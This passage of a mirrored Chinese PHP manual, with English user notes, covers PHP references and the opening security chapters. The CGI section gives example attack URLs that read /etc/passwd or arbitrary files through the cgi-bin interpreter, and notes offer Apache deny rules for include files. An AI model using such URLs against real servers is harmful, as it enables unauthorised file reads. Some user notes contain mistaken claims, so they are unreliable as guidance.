$testRunner->addTest("testNullStringIsEmpty");
$testRunner->runTests();
$testRunner->report();
?>

Notice that testNullStringIsEmpty() does not declare that it wants a reference to a test runner, whereas on the function call site, we pass in &$this. When I run this, I get "1 run, 0 passed, 1 failed"; but when I switch the location of the & to the function parameter list, I get "1 run, 0 passed, 0 failed". This is the exact opposite to what the manual claims. I have no idea why that is.
Sergio Santana: ssantana at tlaloc dot imta dot mx
10-Sep-2004 11:25
Sometimes we need functions for building or modifying arrays whose elements are to be references to other variables (arrays or objects for instance). In this example, I wrote two functions 'tst' and 'tst1' that perform this task. Note how the functions are written, and how they are used.

<?
function tst(&$arr, $r) {
  // The argument '$arr' is declared to be passed by reference,
  // but '$r' is not;
  // however, in the function's body, we use a reference to
  // the '$r' argument

  array_push($arr, &$r);
  // Alternatively, this also could be $arr[] = &$r (in this case)
}

$arr0 = array();          // an empty array
$arr1 = array(1,2,3);  // the array to be referenced in $arr0

// Note how we call the function:
tst($arr0, &$arr1); // We are passing a reference to '$arr1' in the call !

print_r($arr0); // Contains just the reference to $arr1

array_push($arr0, 5); // we add another element to $arr0
array_push($arr1, 18); // we add another element to $arr1 as well

print_r($arr1);
print_r($arr0); // Changes in $arr1 are reflected in $arr0

// -----------------------------------------
// A simpler way to do this:

function tst1(&$arr, &$r) {
  // Both arguments '$arr' and '$r" are declared to be passed by
  // reference,
  // again, in the function's body, we use a reference to
  // the '$r' argument

  array_push($arr, &$r);
  // Alternatively, this also could be $arr[] = &$r (in this case)
}

$arr0 = array();          // an empty array
$arr1 = array(1,2,3);  // the array to be referenced in $arr0

// Note how we call the function:
tst1($arr0, $arr1); // 'tst1' understands '$r' is a reference to '$arr1'

echo "-------- 2nd. alternative ------------ <br>\n";

print_r($arr0); // Contains just the reference to $arr1

array_push($arr0, 5); // we add another element to $arr0
array_push($arr1, 18);

print_r($arr1);
print_r($arr0); // Changes in $arr1 are reflected in $arr0

?>

// This outputs:
// X-Powered-By: PHP/4.1.2
// Content-type: text/html
//
// Array
// (
//    [0] => Array
//        (
//            [0] => 1
//            [1] => 2
//            [2] => 3
//        )
//
// )
// Array
// (
//    [0] => 1
//    [1] => 2
//    [2] => 3
//    [3] => 18
// )
// Array
// (
//    [0] => Array
//        (
//            [0] => 1
//            [1] => 2
//            [2] => 3
//            [3] => 18
//        )
//
//    [1] => 5
// )
// -------- 2nd. alternative ------------
// Array
// (
//    [0] => Array
//        (
//            [0] => 1
//            [1] => 2
//            [2] => 3
//        )
//
// )
// Array
// (
//    [0] => 1
//    [1] => 2
//    [2] => 3
//    [3] => 18
// )
// Array
// (
//    [0] => Array
//        (
//            [0] => 1
//            [1] => 2
//            [2] => 3
//            [3] => 18
//        )
//
//    [1] => 5
// )

In both cases we get the same result.

I hope this is somehow useful

Sergio.
ben at mekhaye dot net
02-Sep-2004 05:27
Passing arrays by reference doesn't work as I expected from within call_user_func.

I had:

  <?
  $arr = Array();
  call_user_func(Array("ClassName","functionName"), $param1, $param2, $arr);
  print_r($arr);

  class ClassName {

     functionName($param1, $param2, &$arr) {
       $arr[0] = "apple";
       $arr[1] = "banana";
       print_r($arr);
     }
  }
  ?>

I expected the output to be like:

  Array ( [0] => "apple" [1] => "banana" )
  Array ( [0] => "apple" [1] => "banana" )

but instead it was only:

  Array ( [0] => "apple" [1] => "banana" )

However, when I changed the function call to plain old:

  <?
  $arr = Array();
  ClassName::functionName($param1,$param2,$arr);
  print_r($arr);
  ?>

Output was the expected:

  Array ( [0] => "apple" [1] => "banana" )
  Array ( [0] => "apple" [1] => "banana" )
php at meKILLTHIStatoandthisols dot org
10-Jun-2004 03:33
Ever been in a situation where you have to write:

  <?php
   $t = 1 ;
   $x =& $t ;
  ?>

or

  <?php
   $t = 1 ;
   f( $t ) ;
  ?>

because you cannot pass constants by value. The function

  <?php
   function& pclone( $v ) {
     return( $v ) ;
   }
  ?>

lets you get ridd of the temporary variable. You can write:

  <?php
   $x =& pclone( 1 ) ;
  ?>

or

  <?php
   f( pclone( 1 ) ) ;
  ?>

Alternatively you can use the other alternative ;-)
blistwon-php at designfridge dot com
18-Jan-2004 10:33
One thing to note about passing by reference. If you plan on assigning the reference to a new variable in your function, you must use the reference operator in the function declaration as well as in the assignment. (The same holds true for classes.)

-------------------------------------------------------
CODE
-------------------------------------------------------
function f1(&$num) {
   $num++;
}
function f2(&$num) {
   $num1 = $num;
   $num1++;
}
function f3(&$num) {
   $num1 = &$num;
   $num1++;
}

$myNum = 0;
print("Declare myNum: " . $myNum . "<br />\n");
f1($myNum);
print("Pass myNum as ref 1: " . $myNum . "<br />\n");
f2($myNum);
print("Pass myNum as ref 2: " . $myNum . "<br />\n");
f3($myNum);
print("Pass myNum as ref 3: " . $myNum . "<br />\n");
-------------------------------------------------------

-------------------------------------------------------
OUTPUT
-------------------------------------------------------
 Declare myNum: 0
 Pass myNum as ref 1: 1
 Pass myNum as ref 2: 1
 Pass myNum as ref 3: 2
-------------------------------------------------------

Hope this helps people trying to detangle any problems with pass-by-ref.
add a note add a note

后退 | 起点 | 前进
引用不是什么 | 上一级 | 引用返回


引用返回

引用返回用在当想用函数找到引用应该被绑定在哪一个变量上面时。不要用返回引用来增加性能，引擎足够聪明来自己进行优化。仅在有合理的技术原因时才返回引用！要返回引用，使用此语法：

<?php
function &find_var($param)
{
    /* ...code... */
    return $found_var;
}

$foo =& find_var($bar);
$foo->x = 2;
?>

本例中 find_var 函数所返回的对象的属性将被赋值，而不是拷贝，就和没有用引用语法一样。

注: 和参数传递不同，这里必须在两个地方都用 & 符号――指出返回的是一个引用，而不是通常的一个拷贝，同样也指出 $foo 是作为引用的绑定，而不是通常的赋值。

注: 如果试图这样从函数返回引用：return ($found_var);，这将不会起作用，因为在试图返回一个表达式的结果而不是一个引用的变量。只能从函数返回引用变量――没别的方法。如果代码试图返回一个动态表达式或 new 运算符的结果，自 PHP 4.4.0 和 PHP 5.1.0 起会发出一条 E_NOTICE 错误。

add a note add a note User Contributed Notes
rwruck
28-Feb-2006 01:22
The note about using parentheses when returning references is only true if the variable you try to return does not already contain a reference.

<?php
// Will return a reference
function& getref1()
  {
  $ref =& $GLOBALS['somevar'];
  return ($ref);
  }

// Will return a value (and emit a notice)
function& getref2()
  {
  $ref = 42;
  return ($ref);
  }

// Will return a reference
function& getref3()
  {
  static $ref = 42;
  return ($ref);
  }
?>
warhog at warhog dot net
13-Dec-2005 04:04
firstly a note on the post below: technically correct that -> "to get a reference to an exsisting class and it's properties" should be "...to an existing object..."

in PHP5 it's senseless to return objects by reference.. let's say you have, as in the post below, a class which should return a reference to its own instance (maybe it's been created using the singleton pattern..), than it's no problem to simply return that variable holding the instance.
In PHP5 variables holding objects are always references to a specific object, so when you return (=copy) a variable "having" an object you in fact return a reference to that object.

Because of that behaviour, which is very common for many programming languages, especially those, which are to be compiled (due to memory problems and so on), you have to use the clone-function which was introduced in PHP5.

Here an example to underline what i mean:

<?php

class sample_singleton
{
  protected static $instance = NULL;

  private function __construct()
  { }

  public static function create()
  { self::$instance = new sample_singleton(); }

  public static function getInstance()
  { return self::$instance; }

  public function yea()
  { echo "wuow"; }
}

sample_singleton::create();

// $singleton will be a reference to sample_singleton::$instance
$singleton = sample_singleton::getInstance();

$singleton->yea();

?>

Note some more (maybe) strange behaviour: although $instance is private you can have a reference pointing on it. Maybe that does not seem strange to you in any way, but maybe you wondered as i did : )

The code posted here was just a sample to illustrate my posting, for using the singleton pattern please look it up in the manual. I just used this cause it was the simplest example which went in my mind right know.
willem at designhulp dot nl
09-Oct-2005 07:54
There is an important difference between php5 and php4 with references.

Lets say you have a class with a method called 'get_instance' to get a reference to an exsisting class and it's properties.

<?php
class mysql {
   function get_instance(){
       // check if object exsists
       if(empty($_ENV['instances']['mysql'])){
           // no object yet, create an object
           $_ENV['instances']['mysql'] = new mysql;
       }
       // return reference to object
       $ref = &$_ENV['instances']['mysql'];
       return $ref;
   }
}
?>

Now to get the exsisting object you can use
mysql::get_instance();

Though this works in php4 and in php5, but in php4 all data will be lost as if it is a new object while in php5 all properties in the object remain.
obscvresovl at NOSPAM dot hotmail dot com
25-Dec-2004 05:09
An example of returning references:

<?

$var = 1;
$num = NULL;

function &blah()
{
   $var =& $GLOBALS["var"]; # the same as global $var;
   $var++;
   return $var;
}

$num = &blah();

echo $num; # 2

blah();

echo $num; # 3

?>

Note: if you take the & off from the function, the second echo will be 2, because without & the var $num contains its returning value and not its returning reference.
hawcue at yahoo dot com
17-Mar-2004 11:58
Be careful when using tinary operation condition?value1:value2

See the following code:

$a=1;
function &foo()
{
  global $a;
  return isset($a)?$a:null;
}
$b=&foo();
echo $b;  // shows 1
$b=2;
echo $a;  // shows 1 (not 2! because $b got a copy of $a)

To let $b be a reference to $a, use "if..then.." in the function.
contact at infopol dot fr
13-Feb-2004 01:36
A note about returning references embedded in non-reference arrays :

<?
$foo;

function bar () {
   global $foo;
   $return = array();
   $return[] =& $foo;
   return $return;
}

$foo = 1;
$foobar = bar();
$foobar[0] = 2;
echo $foo;
?>

results in "2" because the reference is copied (pretty neat).
zayfod at yahoo dot com
04-Dec-2003 01:23
There is a small exception to the note on this page of the documentation. You do not have to use & to indicate that reference binding should be done when you assign to a value passed by reference the result of a function which returns by reference.

Consider the following two exaples:

<?php

function    & func_b ()
{
   $some_var = 2;
   return $some_var;
}

function    func_a (& $param)
{
   # $param is 1 here
   $param = & func_b();
   # $param is 2 here
}

$var = 1;
func_a($var);
# $var is still 1 here!!!

?>

The second example works as intended:

<?php

function    & func_b ()
{
   $some_var = 2;
   return $some_var;
}

function    func_a (& $param)
{
   # $param is 1 here
   $param = func_b();
   # $param is 2 here
}

$var = 1;
func_a($var);
# $var is 2 here as intended

?>

(Experienced with PHP 4.3.0)
add a note add a note

后退 | 起点 | 前进
引用传递 | 上一级 | 取消引用


取消引用

当 unset 一个引用，只是断开了变量名和变量内容之间的绑定。这并不意味着变量内容被销毁了。例如：

<?php
$a = 1;
$b =& $a;
unset($a);
?>

不会 unset $b，只是 $a。

再拿这个和 Unix 的 unlink 调用来类比一下可能有助于理解。

add a note add a note User Contributed Notes
rustin dot phares at hotmail dot com
13-Mar-2006 02:31
If you wish to unset both variables, you will need to unset the last referenced variable of that condition.

<?php
$a = 1;
$b =& $a;
unset($b);
?>

* These must be in a reference->copy hierarchy in order to unset; example:

<?php
$a = 1;
$b =& $a;
$c =& $b;
unset($c);
?>

This will not work:

<?php
$a = 1;
$b =& $a;
$c = $b;
unset($c);
?>

* Only $c is unset in the above example, meaning that both variables $b and $a are still assigned "1".
libi
24-Jan-2006 04:20
clerca at inp-net dot eu dot org
"
If you have a lot of references linked to the same contents, maybe it could be useful to do this :
<?php
$a = 1;
$b = & $a;
$c = & $b; // $a, $b, $c reference the same content '1'

$b = NULL; // All variables $a, $b or $c are unset
?>

"

------------------------

NULL will not result in unseting the variables.
Its only change the value to "null" for all the variables.
becouse they all points to the same "part" in the memory.
clerca at inp-net dot eu dot org
26-Nov-2005 04:33
If you have a lot of references linked to the same contents, maybe it could be useful to do this :
<?php
$a = 1;
$b = & $a;
$c = & $b; // $a, $b, $c reference the same content '1'

$b = NULL; // All variables $a, $b or $c are unset
?>

I haven't test this trick a lot, but well, it seems to work greatly.
add a note add a note

后退 | 起点 | 前进
引用返回 | 上一级 | 引用定位


引用定位

许多 PHP 的语法结构是通过引用机制实现的，所以上述有关引用绑定的一切也都适用于这些结构。一些结构，例如引用传递和返回，已经在上面提到了。其它使用引用的结构有：

global 引用

当用 global $var 声明一个变量时实际上建立了一个到全局变量的引用。也就是说和这样做是相同的：

<?php
$var =& $GLOBALS["var"];
?>

这意味着，例如，unset $var 不会 unset 全局变量。

$this

在一个对象的方法中，$this 永远是调用它的对象的引用。

add a note add a note User Contributed Notes
ludvig dot ericson at gmail dot com
28-Feb-2006 07:36
For the sake of clarity:

$this is a PSEUDO VARIABLE - thus not a real variable. ZE treats is in other ways then normal variables, and that means that some advanced variable-things won't work on it (for obvious reasons):

<?php
class Test {
   var $monkeys = 0;

   function doFoobar() {
       $var = "this";
       $$var->monkeys++; // Will fail on this line.
   }
}

$obj = new Test;
$obj->doFoobar(); // Will fail in this call.
var_dump($obj->monkeys); // Will return int(0) if it even reaches here.
?>
ksamvel at gmail dot com
11-Feb-2006 01:02
One may check reference to any object by simple operator==( object). Example:

  class A {}

  $oA1 = new A();

  $roA = & $oA1;

  echo "roA and oA1 are " . ( $roA == $oA1 ? "same" : "not same") . "<br>";

  $oA2 = new A();
  $roA = & $roA2;

  echo "roA and oA1 are " . ( $roA == $oA1 ? "same" : "not same") . "<br>";

Output:

roA and oA1 are same
roA and oA1 are not same

Current technique might be useful for caching in objects when inheritance is used and only base part of extended class should be copied (analog of C++: oB = oA):

class A {
  /* Any function changing state of A should set $bChanged to true */
  public function isChanged() { return $this->bChanged; }
  private $bChanged;
  //...
}

class B extends A {
// ...
  public function set( &$roObj) {
   if( $roObj instanceof A) {
     if( $this->roAObj == $roObj &&
         $roObj->isChanged()) {
       /* Object was not changed do not need to copy A part of B */
     } else {
       /* Copy A part of B */
       $this->roAObj = &$roObj;
     }
   }
  }

  private $roAObj;
}
Sergio Santana: ssantana at tlaloc dot imta dot mx
17-Dec-2005 12:41
*** WARNING about OBJECTS TRICKY REFERENCES ***
-----------------------------------------------
The use of references in the context of classes
and objects, though well defined in the documentation,
is somehow tricky, so one must be very careful when
using objects. Let's examine the following two
examples:

<?php
  class y {
   public $d;
  }

  $A = new y;
  $A->d = 18;
  echo "Object \$A before operation:\n";
  var_dump($A);

  $B = $A; // This is not an explicit (=&) reference assignment,
           // however, $A and $B refer to the same instance
           // though they are not equivalent names
  $C =& $A; // Explicit reference assignment, $A and $C refer to
           // the same instance and they have become equivalent
           // names of the same instance

  $B->d = 1234;

  echo "\nObject \$B after operation:\n";
  var_dump($B);
  echo "\nObject \$A implicitly modified after operation:\n";
  var_dump($A);
  echo "\nObject \$C implicitly modified after operation:\n";
  var_dump($C);

  // Let's make $A refer to another instance
  $A = new y;
  $A->d = 25200;
  echo "\nObject \$B after \$A modification:\n";
  var_dump($B); // $B doesn't change
  echo "\nObject \$A after \$A modification:\n";
  var_dump($A);
  echo "\nObject \$C implicitly modified after \$A modification:\n";
  var_dump($C); // $C changes as $A changes
?>

Thus, note the difference between assignments $X = $Y and $X =& $Y.
When $Y is anything but an object instance, the first assignment means
that $X will hold an independent copy of $Y, and the second, means that
$X and $Y will refer to the same thing, so they are tight together until
either $X or $Y is forced to refer to another thing. However, when $Y
happens to be an object instance, the semantic of $X = $Y changes and
becomes only slightly different to that of $X =& $Y, since in both
cases $X and $Y become references to the same object. See what this
example outputs:

Object $A before operation:
object(y)#1 (1) {
  ["d"]=>
  int(18)
}

Object $B after operation:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $A implicitly modified after operation:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $C implicitly modified after operation:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $B after $A modification:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $A after $A modification:
object(y)#2 (1) {
  ["d"]=>
  int(25200)
}

Object $C implicitly modified after $A modification:
object(y)#2 (1) {
  ["d"]=>
  int(25200)
}

Let's review a SECOND EXAMPLE:
<?php
  class yy {
   public $d;
   function yy($x) {
     $this->d = $x;
   }
  }

  function modify($v)
  {
     $v->d = 1225;
  }

  $A = new yy(3);
  var_dump($A);
  modify($A);
  var_dump($A);
?>

Although, in general, a formal argument declared
as $v in the function 'modify' shown above, implies
that the actual argument $A, passed when calling
the function, is not modified, this is not the
case when $A is an object instance. See what the
example code outputs when executed:

object(yy)#3 (1) {
  ["d"]=>
  int(3)
}
object(yy)#3 (1) {
  ["d"]=>
  int(1225)
}
Sergio Santana: ssantana at tlaloc dot imta dot mx
11-Aug-2005 12:30
Sometimes an object's method returning a reference to itself is required. Here is a way to code it:

<?php
class MyClass {
  public $datum;
  public $other;

  function &MyRef($d) { // the method
   $this->datum = $d;
   return $this; // returns the reference
  }
}

$a = new MyClass;
$b = $a->MyRef(25); // creates the reference

echo "This is object \$a: \n";
print_r($a);
echo "This is object \$b: \n";
print_r($b);

$b->other = 50;

echo "This is object \$a, modified" .
     " indirectly by modifying ref \$b: \n";
print_r($a);
?>

This code outputs:
This is object $a:
MyClass Object
(
   [datum] => 25
   [other] =>
)
This is object $b:
MyClass Object
(
   [datum] => 25
   [other] =>
)
This is object $a, modified indirectly by modifying ref $b:
MyClass Object
(
   [datum] => 25
   [other] => 50
)
add a note add a note

后退 | 起点 | 前进
取消引用 | 上一级 | 安全


安全

PHP 手册
后退 前进

IV. 安全

目录
22. 简介
23. 总则
24. 以 CGI 模式安装时
25. 以 Apache 模块安装时
26. 文件系统安全
27. 数据库安全
28. 错误报告
29. 使用 Register Globals
30. 用户提交的数据
31. 魔术引号
32. 隐藏 PHP
33. 保持更新

add a note add a note User Contributed Notes
djjokla AT gmail dot com
21-Apr-2006 11:22
If a single file has to be included than I use the following

index.php ( where the file is gonna be included )
___________
<?php
   define('thefooter', TRUE);
   include('folder/footer.inc.php');
?>

and the footer file (for example) looks this way then

footer.inc.php ( the file to be inluded )
___________
<?php
   defined('thefooter') or die('Not with me my friend');
   echo('Copyright to me in the year 2000');
?>

So when someone tries to access the footer.php file directly he/she/it will get the "Not with me my friend" messages written on the screen. An alternative option is to redirect the person who wants to access the file directly to a different location, so instead of the above code you would have to write the following in the footer.inc.php file.

<?php
   defined('thefooter') or header('Location: http://www.location.com');
   echo('Copyright to me in the year 2000');
?>

In normal case a redirection to an external site would be annoying to the visitor, but since this visitor is more interested in hacking the site than in reading the content, I think it's only fair to create such an redirection. We dont' realy want someome like this on our sites.

For the file protection I use .htaccess in which I say to protect the file itself and every .inc file

<Files ~ "^.*\.([Hh][Tt]|[Ii][Nn][Cc])">
Order allow,deny
Deny from all
Satisfy All
</Files>

The .htaccess file should result an Error 403 if someone tries to access the files directly. If for some reason this shouldn't work, then the "Not with me my friend" text apears or a redirection (depending what is used)

In my eyes this looks o.k. and safe.
webmaster tt christophdum ddott com
16-Dec-2005 08:30
that's cool, but i use this code right here:

<?if(!defined('IN_SCRIPT')){header('HTTP/1.0 404 not found');exit;}?>

adding a 404 header will not give the user any clue that the include-file even exists !!!

i also protect the whole include-directory with a .htaccess file that says: "Deny from all"

so i guess that's pretty secure
Thomas "Balu" Walter
17-Oct-2005 04:24
Since many users can not modify apache configurations or use htaccess files, the best way to avoid unwanted access to include files would be a line at the beginning of the include-file:

<?php if (!defined('APPLICATION')) exit; ?>

And in all files that are allowed to be called externally:

<?php define('APPLICATION', true); ?>

     Balu
nick dot hristov at gmail dot com
02-Sep-2004 11:21
A correction to previous post by Dave Mink.

<Files ~ "\.inc$">
   Order allow,deny
   Deny from all
   Satisfy All
</Files>

Will not stop something like
http://www.yourserver.com/includefile.inc?pointlessvar=blahblah

Here is something more sophisticated for this task:

<Location ~ "/[^ ](?=\.inc(\?[^ ]*)?)/">
   Options None
   Order Allow, Deny
   Deny from All
   AllowOverride None
   Satisfy All
</Location>

Also, consider placing in your httpd.conf

<Location ~ "/[^ ](?=\.phps(\?[^ ]*)?)/">
   Options None
   Order Allow, Deny
   Deny from All
   AllowOverride None
   Satisfy All
</Location>
ocrow at simplexity dot net
02-Jul-2003 08:16
If your PHP pages include() or require() files that live within the web server document root, for example library files in the same directory as the PHP pages, you must account for the possibility that attackers may call those library files directly.

Any program level code in the library files (ie code not part of function definitions) will be directly executable by the caller outside of the scope of the intended calling sequence.  An attacker may be able to leverage this ability to cause unintended effects.

The most robust way to guard against this possibility is to prevent your webserver from calling the library scripts directly, either by moving them out of the document root, or by putting them in a folder configured to refuse web server access. With Apache for example, create a .htaccess file in the library script folder with these directives:

Order Allow,Deny
Deny from any
annonymous at domain dot com
27-Jun-2003 09:08
best bet is to build php as cgi, run under suexec, with chroot jailed users. Not the best, but fairly unobtrusive, provides several levels of checkpoints, and has only the detriment of being, well, kinda slow. 8)
ManifoldNick at columbus dot rr dot com
30-Apr-2003 01:30
Remember that security risks often don't involve months of prep work or backdoors or whatever else you saw on Swordfish ;) In fact one of the bigges newbie mistakes is not removing "<" from user input (especially when using message boards) so in theory a user could secerely mess up a page or even have your server run php scripts which would allow them to wreak havoc on your site.
26-Feb-2003 08:00
For real security you should consider providing chrooted jail's for your users.
add a note add a note

后退 | 起点 | 前进
引用定位 |  | 简介


简介

PHP 手册
后退 前进

章 22. 简介

PHP 作为一种强大的语言，无论是以模块还是 CGI 的方式安装，它的解释器都可以在服务器上访问文件、运行命令以及创建网络连接等。这些功能也许会给服务器添加很多不安全因素，但是只要正确地安装和配置 PHP，以及编写安全的代码，那么 PHP 相对于 Perl 和 C 来说，是能创建出更安全的 CGI 程序的。而且，也可以在可用性和安全性之间找到一个很好的平衡点。

PHP 可能会被用在很多不同的方面，因此，PHP 内置的选项以方便用户对其进行配置。虽然众多的选项可以使 PHP 完成很多工作，但是对这些选项的设定以及对服务器的配置很可能会产生安全问题。

PHP 的选项与其语法一样，具有很高的灵活性。使用 PHP，可以在只有 shell 用户权限的环境下创建完善的服务器端程序，或者在被严格限制环境下使用它来完成服务器端包含（Server-Side Includes）而无需承但太大的风险。如何建立这样一种环境，其安全性如何，很大程度上取决于 PHP 的开发者。

本章以一些常规的安全建议作开头，讲述如何在不同的环境下尽可能地提高安全性，以及介绍对于不同安全级别的一些编程原则。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
安全 | 上一级 | 总则


总则

PHP 手册
后退 前进

章 23. 总则

绝对安全的系统是不存在的，因此安全业界常用的方法有助于平衡可用性和风险。对用户提交的每一个变量都进行双重验证可能是一个很负责任的行为，但会导致用户必须花很多时间去填写一张复杂无比的表格，从而迫使某些用户尝试绕过安全机制。

最好的安全机制应该能在不防碍用户，并且不过多地增加开发难度的情况下做到能满足需求。实际上，一些安全问题往往会发生在这种过度强化安全机制的系统上。

不要忘记著名的等强原则：一个系统的的强度是由它最薄弱的环节决定的（译者注：相当于木桶原理）。如果所有的事务都基于时间、地点、事务种类进行详细的记录，而用户验证却只依靠一个 cookie，那么用户所对应的事务记录的可信度就被大大剥弱了。

调试代码的时候一定要记住，就算是一个简单的页面也很难对所有可能发生的情况进行检测：对你不满的雇员不一定会输入如你所愿的东西，黑客也有足够的时间研究你的系统，当然，你的宠物猫也会跳到你的键盘上。这就是为什么必须检查所有的代码，去发现哪里可以引入不正当的数据，然后对代码改进、简化或者增强。

互联网上充满了为了成名而破坏你的代码、攻击你的网站并输入不正当数据的人，总之他们会使你的生活充满乐趣。无论是大网站还是小网站，只要能和互联网连接，就会成为一个目标。很多黑客程序并不理会网站的大小，只会机械地扫描 IP 地址并找寻受害者。我们希望那个不要是你。

add a note add a note User Contributed Notes
yairl at savion dot huji dot ac dot il
25-Apr-2006 06:14
Important Security Note for emacs users

Many linux/unix developers like the emacs editor to write code. It's a great editor with many features for PHP/Perl developers. emacs by default creates a back up file ending with ~. Then when you create a file myprogram.php it creates a back up file myprogram.php~ . You can change this default behavoir  to avoid emacs creates this file but many people prefer to keep this default. The problem is that through the webserver people can load this file ending with ~ and can see your php code because the webserver doesn't parser this file as php type due to the ~. This behavoir is a strong security hole, it permits to everybody to see and hack your code. i recommend to emacs users to deny access to files ending with ~ in general to avoid this problem.
In general PHP developers must check that the editor they are using is not creating a file beside the php source file without the end file name .php necessary for the webserver to parser it as php application.

in apache webserver you can deny access to these files with the following configure order

<File "*~">
Deny  all
</File>
henke dot andersson at comhem dot se
26-Dec-2005 04:53
A good tactic to employ is the "least privileged needed" aproatch. If a aplication is only reading from a particular table in a particular database, it should have a account that can do exactly that and no more.
22-Jul-2005 06:03
You should not expose too much of your server and make sure your host is fast an d reliable
add a note add a note

后退 | 起点 | 前进
简介 | 上一级 | 以 CGI 模式安装时


以 CGI 模式安装时

PHP 手册
后退 前进

章 24. 以 CGI 模式安装时

目录
可能受到的攻击
情形一：只运行公开的文件
情形二：使用 --enable-force-cgi-redirect 选项
情形三：设置 doc_root 或 user_dir
情形四：PHP 解释器放在 web 目录以外

可能受到的攻击

如果不想把 PHP 嵌入到服务器端软件（如 Apache）作为一个模块安装的话，可以选择以 CGI 的模式安装。或者把 PHP 用于不同的 CGI 封装以便为代码创建安全的 chroot 和 setuid 环境。这种安装方式通常会把 PHP 的可执行文件安装到 web 服务器的 cgi-bin 目录。CERT 建议书 CA-96.11 建议不要把任何的解释器放到 cgi-bin 目录。尽管 PHP 可以作为一个独立的解释器，但是它的设计使它可以防止下面类型的攻击：

  • 访问系统文件：http://my.host/cgi-bin/php?/etc/passwd

    在 URL 请求的问号（?）后面的信息会传给 CGI 接口作为命名行的参数。其它的解释器会在命令行中打开并执行第一个参数所指定的文件。

    但是，以 CGI 模式安装的 PHP 解释器被调用时，它会拒绝解释这些参数。

  • 访问服务器上的任意目录：http://my.host/cgi-bin/php/secret/doc.html

    好像上面这种情况，PHP 解释器所在目录后面的 URL 信息 /secret/doc.html 将会例行地传给 CGI 程序并进行解释。通常一些 web 服务器的会将它重定向到页面，如 http://my.host/secret/script.php。如果是这样的话，某些服务器会先检查用户访问 /secret 目录的权限，然后才会创建 http://my.host/cgi-bin/php/secret/script.php 上的页面重定向。不幸的是，很多服务器并没有检查用户访问 /secret/script.php 的权限，只检查了 /cgi-bin/php 的权限，这样任何能访问 /cgi-bin/php 的用户就可以访问 web 目录下的任意文件了。

    在 PHP 里，编译时配置选项 --enable-force-cgi-redirect 以及运行时配置指令 doc_root 和 user_dir 都可以为服务器上的文件和目录添加限制，用于防止这类攻击。下面将对各个选项的设置进行详细讲解。

add a note add a note User Contributed Notes
phpD0TnetATmoritzHYPHONnaumannD0Tcom
10-Jan-2006 01:56
One of the most common reasons why you get 'No input file specified' (AKA 'the second most useful error message in the world') is that you have set 'doc_root' (in php.ini) to a value which is to the 'DocumentRoot' defined in the apache configuration.

This is the same for other webservers. For example, on lighttpd, make sure the 'server.document-root' value is the same as what is defined as 'doc_root' in php.ini.
phil dot ross at gmail dot com
23-Mar-2005 07:56
In response to grange at club-internet dot fr:

There are a couple of errors in the mod_rewrite directives given. I found that the following works:

RewriteEngine on
RewriteCond %{ENV:REDIRECT_STATUS} !200
RewriteRule ^cgi-bin/php.cgi - [F]

I removed the = from the RewriteCond and took out the leading / from the RewriteRule.
kschroeder at mirageworks dot com
11-Feb-2005 11:23
I have noticed that some people have noted that running PHP as a CGI program can run slowly compared with a compiled in module.  Some have noted that they want to use FastCGI but are hesitant.  I found that using the Apache 2's CGID module was a great way to speed up performance almost to the same level as an "so"-installed PHP module but you get the added benefit of running each virtual host under it's own user and group.

In my testing I got 44 pages per second using PHP as a module and I got roughly the same performance (within 5%) running PHP as a CGI program through CGID.

CGID is also really easy to set up.  Just add --enable-cgid to your Apache configure command and you're good to go.  Just set up PHP as a CGI normally.

I'm sure that there's extra RAM used for this method but RAM is as cheap as borscht anyways so it shouldn't be a major factor when trying to speed up PHP CGI.
Omid
05-Jan-2005 02:39
Here are my two cents of knowledge about php-cgi when running CGI script from prompt:

If you get the "No input file specified." error, create the environment variable "SCRIPT_FILENAME=C:\files\test.php".

If you get "Security Alert!" error and it tells you to create the REDIRECT_STATUS environment variable, it is because you have the SERVER_NAME variable set but not the REDIRECT_STATUS variable.

Hence, if you have SERVER_NAME, you also need REDIRECT_STATUS, but not otherwise.

And you pretty much should have SCRIPT_FILENAME at all time.
grange at club-internet dot fr
29-Dec-2004 05:40
--enable-force-cgi-redirect won't work in FastCGI mode : as of 4.3.10, it is only supported in CGI mode.

However, you can achieve the same result with mod_rewrite under Apache :

RewriteEngine on
RewriteCond %{ENV:REDIRECT_STATUS} !=200
RewriteRule /cgi-bin/path/to/php - [F]

This will only allow internal redirection, thus forbidding direct HTTP access to php interpreter (http://www.exemple.com/cgi-bin/path/to/php).
pookey at pookey dot co dot uk
07-Sep-2004 10:58
I've updated my site now to include information about running PHP in CGI mode using BinFMT to remove the need for a shebang, http://www.pookey.co.uk/php-security.xml . Also, http://www.pookey.co.uk/php-suphp.xml documents a few things about suPHP, and http://www.pookey.co.uk/php-suphp-modphp.xml shows a method of runing SuPHP and mod_php together (not covered on suPHP's site).  Hope this is of help to you!
martelli at geoserve dot com dot br
12-Jul-2004 03:25
PHP CGI with VirtualHosts.

This is what I found out while trying to get php to work as CGI with Apache VirtualHosts.

By enabling 'force-cgiredirects', you *must*:
1) set 'cgi.fix_pathinfo=1' in php.ini
2) leave doc_root commented out (php.ini also)

If you miss item 1, the apache logs will show 'unexpected T_STRING' in the php binary.
If you miss item 2, you'll only see 'No input file specified.', instead of the expected output.

You can then turn on the php support for a particular vhost by defining:

Action php-script /cgi-bin/php

inside the corresponding <VirtualHost> directive.
13-Jun-2004 11:26
PHP works with Apache and suEXEC like this:
(Assuming that suEXEC ist allready installed and working)

Install PHP as CGI binary (e.g. in /usr/local/bin/php)
(compile with --enable-force-cgi-redirect)

Create a Link inside cgi-bin directory to make php-cgi accessable:
cd /usr/local/apache/cgi-bin
ln /usr/local/bin/php php

Edit your httpd.conf file:
 AddHandler php4-script .php
 Action php4-script /cgi-bin/php

 <VirtualHost 123.456.789.0:80>
   User exampleuser
   Group examplegroup
     ...

 </VirtualHost>

Restart Apache

PHP-scripts are now called under the user-id of exampleuser and group-id of examplegroup.
geeky at geeky dot de
03-Sep-2003 10:32
a replacement for suexec is suphp (http://www.suphp.org).

"suPHP is a tool for executing PHP scripts with the permissions of their owners. It consists of an Apache module (mod_suphp) and a setuid root binary (suphp) that is called by the Apache module to change the uid of the process executing the PHP interpreter." (from the website)
pookey at pookey dot co dot uk
22-Mar-2003 02:29
